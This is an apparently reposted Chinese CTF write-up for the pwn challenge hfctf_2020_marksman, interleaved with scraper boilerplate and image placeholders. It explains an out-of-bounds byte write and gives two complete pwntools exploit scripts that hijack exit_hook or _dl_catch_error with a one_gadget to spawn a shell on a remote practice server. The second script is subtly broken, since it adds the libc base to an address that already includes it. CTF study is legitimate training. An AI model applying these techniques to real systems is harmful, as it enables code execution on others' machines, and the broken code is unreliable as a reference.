hfctf_2020_marksman(劫持exit_hook或dlopen)

hfctf_2020_marksman(劫持exit_hook或dlopen)main 函数 int64 fastcall main int64 a1 char a2 char a3 int i rsp 8h rbp 28h int j rsp Ch rbp 24h int64 v6 rsp 10h rbp 20h char v7 3

大家好,我是讯享网,很高兴认识大家。

在这里插入图片描述
讯享网

main函数

__int64 __fastcall main(__int64 a1, char a2, char a3) { int i; // [rsp+8h] [rbp-28h] int j; // [rsp+Ch] [rbp-24h] __int64 v6; // [rsp+10h] [rbp-20h] char v7[3]; // [rsp+25h] [rbp-Bh] BYREF unsigned __int64 v8; // [rsp+28h] [rbp-8h] v8 = __readfsqword(0x28u); set(); menu(); puts("Free shooting games! Three bullets available!"); printf("I placed the target near: %p\n", &puts); puts("shoot!shoot!"); v6 = readn(); for ( i = 0; i <= 2; ++i ) { puts("biang!"); read(0, &v7[i], 1uLL); getchar(); } if ( sub_BC2(v7) ) { for ( j = 0; j <= 2; ++j ) *(j + v6) = v7[j]; } if ( !dlopen(0LL, 1) ) exit(1); puts("bye~"); return 0LL; } 

讯享网

sub_BC2(v7)

讯享网__int64 __fastcall sub_BC2(_BYTE *a1) { if ( (*a1 != 0xC5 || a1[1] != 0xF2) && (*a1 != 0x22 || a1[1] != 0xF3) && *a1 != 0x8C && a1[1] != 0xA3 ) return 1LL; puts("You always want a Gold Finger!"); return 0LL; } 

分析

根据程序可知是数组越界,第一个输入的数是我们要覆盖的位置,后三个输入的数是我们要覆盖的三个字节,程序一开始输出了puts函数的地址,相当于泄露了libc,我们想到的就是覆盖某个函数的地址为one_gadget函数地址,实现部分字节写,但是程序开了Full RELRO,got表无法被劫持,程序对输入值进行了限制,多数“one_gadget”被淘汰。

思路

我们可以劫持exit_hook,

exit()调用过程

one_gadget ../../libc-2.27.so--64 -l2 

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

exp

讯享网# coding=utf-8 from pwn import * sh = remote("node4.buuoj.cn", 27939) #sh = process('./hfctf_2020_marksman') context(log_level = 'debug', arch = 'amd64', os = 'linux') elf = ELF("./hfctf_2020_marksman") libc = ELF('../../libc-2.27.so--64') def dbg(): gdb.attach(sh) pause() #命令简写化 s = lambda data :sh.send(data) sa = lambda delim,data :sh.sendafter(delim, data) sl = lambda data :sh.sendline(data) sla = lambda delim,data :sh.sendlineafter(delim, data) r = lambda num=4096 :sh.recv(num) ru = lambda delims :sh.recvuntil(delims) itr = lambda :sh.interactive() uu32 = lambda data :u32(data.ljust(4,'\0')) uu64 = lambda data :u64(data.ljust(8,'\0')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg=lambda address,data:log.success('%s: '%(address)+hex(data)) ru('I placed the target near: ') puts_addr = int(r(14),16) lg('puts_addr',puts_addr) libc_base = puts_addr - libc.sym['puts'] __rtld_lock_unlock_recursive_offset = 0x81df60 addr = libc_base+__rtld_lock_unlock_recursive_offset one_gadget = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398] shell = one_gadget[1]+libc_base sla('shoot!shoot!\n',str(addr)) for i in range(3): sla('biang!',chr(shell&0xff)) shell=shell>>8 itr() 

另一种思路

dlopen函数

void * dlopen (const char *file, int mode) 

功能:打开一个动态链接库
参数:file就是libc文件路径,mode只有以下两种常用的值,并且必须指定其一
RTLD_LAZY:在 dlopen 返回前,对于动态库中存在的未定义的变量 (如外部变量 extern, 也可以是函数) 不执行解析,就是不解析这个变量的地址
RTLD_NOW:与上面不同,他需要在 dlopen 返回前,解析出每个未定义变量的地址,如果解析不出来,在 dlopen 会返回 NULL

dlopen源码

讯享网void * dlopen (const char *file, int mode) { return __dlopen (file, mode, RETURN_ADDRESS (0)); } void * __dlopen (const char *file, int mode DL_CALLER_DECL) { # ifdef SHARED if (__builtin_expect (_dlfcn_hook != NULL, 0)) return _dlfcn_hook->dlopen (file, mode, DL_CALLER); #endif struct dlopen_args args; args.file = file; args.mode = mode; args.caller = DL_CALLER; # ifdef SHARED return _dlerror_run (dlopen_doit, &args) ? NULL : args.new; #else if (_dlerror_run (dlopen_doit, &args)) return NULL; __libc_register_dl_open_hook ((struct link_map *) args.new); __libc_register_dlfcn_hook ((struct link_map *) args.new); return args.new; # endif } 

在这里插入图片描述
dlopen函数调用了_dl_open函数

_dl_open源码

void * _dl_open (const char *file, int mode, const void *caller_dlopen, Lmid_t nsid, int argc, char *argv[], char *env[]) { …… …… /* Never allow loading a DSO in a namespace which is empty. Such direct placements is only causing problems. Also don't allow loading into a namespace used for auditing. */ else if (__builtin_expect (nsid != LM_ID_BASE && nsid != __LM_ID_CALLER, 0) && (GL(dl_ns)[nsid]._ns_nloaded == 0 || GL(dl_ns)[nsid]._ns_loaded->l_auditing)) _dl_signal_error (EINVAL, file, NULL, N_("invalid target namespace in dlmopen()")); #ifndef SHARED else if ((nsid == LM_ID_BASE || nsid == __LM_ID_CALLER) && GL(dl_ns)[LM_ID_BASE]._ns_loaded == NULL && GL(dl_nns) == 0) GL(dl_nns) = 1; #endif struct dl_open_args args; args.file = file; args.mode = mode; args.caller_dlopen = caller_dlopen; args.caller_dl_open = RETURN_ADDRESS (0); args.map = NULL; args.nsid = nsid; args.argc = argc; args.argv = argv; args.env = env; const char *objname; const char *errstring; bool malloced; int errcode = _dl_catch_error (&objname, &errstring, &malloced, dl_open_worker, &args); # ifndef MAP_COPY /* We must munmap() the cache file. */ _dl_unload_cache (); # endif …… …… #ifndef SHARED DL_STATIC_INIT (args.map); #endif return args.map; } 

我们可以劫持_dl_catch_error函数为one_gadget地址,_dl_catch_error为libc中的函数,可以gdb调试找到其got表
在这里插入图片描述

exp

讯享网# coding=utf-8 from pwn import * #sh = remote("node4.buuoj.cn", 27939) sh = process('./hfctf_2020_marksman') context(log_level = 'debug', arch = 'amd64', os = 'linux') elf = ELF("./hfctf_2020_marksman") libc = ELF('../../libc-2.27.so--64') def dbg(): gdb.attach(sh) #命令简写化 s = lambda data :sh.send(data) sa = lambda delim,data :sh.sendafter(delim, data) sl = lambda data :sh.sendline(data) sla = lambda delim,data :sh.sendlineafter(delim, data) r = lambda num=4096 :sh.recv(num) ru = lambda delims :sh.recvuntil(delims) itr = lambda :sh.interactive() uu32 = lambda data :u32(data.ljust(4,'\0')) uu64 = lambda data :u64(data.ljust(8,'\0')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg=lambda address,data:log.success('%s: '%(address)+hex(data)) ru('I placed the target near: ') puts_addr = int(r(14),16) lg('puts_addr',puts_addr) libc_base = puts_addr - libc.sym['puts'] __rtld_lock_unlock_recursive_offset = 0x81df60 #addr = libc_base+__rtld_lock_unlock_recursive_offset _dl_catch_error_libc=libc_base + 0x5f4038 addr = libc_base+_dl_catch_error_libc one_gadget = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398] shell = one_gadget[2]+libc_base sla('shoot!shoot!\n',str(addr)) for i in range(3): sla('biang!',chr(shell&0xff)) shell=shell>>8 itr() 
小讯
上一篇 2025-01-17 23:38
下一篇 2025-04-07 20:52

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/65851.html